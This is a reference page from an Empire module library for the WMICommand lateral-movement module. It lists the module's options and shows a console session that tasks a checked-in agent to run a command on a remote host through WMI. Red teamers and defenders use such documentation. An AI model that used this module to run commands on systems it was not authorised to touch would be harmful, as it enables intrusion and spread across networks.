WMICommand - Empire Module
This page contains detailed information about how to use the csharp/SharpSploit.LateralMovement/WMICommand Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: WMICommand
Module: csharp/SharpSploit.LateralMovement/WMICommand
Source code:
empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L129
Language: C#
Needs admin: No
OPSEC safe: No
Background: No
The WMICommand module executes a process on a remote system using Win32_Process Create, optionally with alternate credentials.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the WMICommand module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the WMICommand module:
Agent
Agent to run module on.
Command
Command line to execute on the remote system.
ComputerName
ComputerName to create the process on.
Default value: localhost
.
DotNetVersion
.NET version to compile against.
Default value: Net35
.
Suggested values: Net35
, Net40
.
Additional Module Options
This is a list of additional options that are supported by the WMICommand module:
Password
Password to authenticate the user. (optional).
Username
Username to authenticate as. Format: DOMAIN\Username (optional).
WMICommand Example Usage
Here's an example of how to use the WMICommand module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.LateralMovement/WMICommand
Author cobbr_io
Background False
Description Execute a process on a remote system using Win32_Process Create,
optionally with alternate credentials.
Language csharp
Name csharp/SharpSploit.LateralMovement/WMICommand
NeedsAdmin False
OpsecSafe False
,Record Options-,-----------,----------,------------------------------------,
| Name | Value | Required | Description |
|---------------|-----------|----------|------------------------------------|
| Agent | | True | Agent to run module on. |
|---------------|-----------|----------|------------------------------------|
| Command | | True | Command line to execute on the |
| | | | remote system. |
|---------------|-----------|----------|------------------------------------|
| ComputerName | localhost | True | ComputerName to create the process |
| | | | on. |
|---------------|-----------|----------|------------------------------------|
| DotNetVersion | Net35 | True | .NET version to compile against |
|---------------|-----------|----------|------------------------------------|
| Password | | False | Password to authenticate the user. |
| | | | (optional) |
|---------------|-----------|----------|------------------------------------|
| Username | | False | Username to authenticate as. |
| | | | Format: DOMAIN\Username (optional) |
'---------------'-----------'----------'------------------------------------'
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set Command SomeCommand
[*] Set Command to SomeCommand
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > execute
[!] Error: csharpserver plugin not running
Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running
" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > useplugin csharpserver
,Record Options--,----------,----------------------------------,
| Name | Value | Required | Description |
|--------|-------|----------|----------------------------------|
| status | start | True | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'
(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- cobbr_io
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L129
- https://twitter.com/cobbr_io
- https://twitter.com/_RastaMouse
See Also
Check also the following modules related to this module:
- csharp/SharpSploit.LateralMovement/WMIGrunt
- csharp/SharpSploit.LateralMovement/PowerShellRemotingGrunt
- csharp/SharpSploit.LateralMovement/PowerShellRemotingCommand
- csharp/SharpSploit.LateralMovement/DCOMGrunt
- csharp/SharpSploit.LateralMovement/DCOMCommand
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.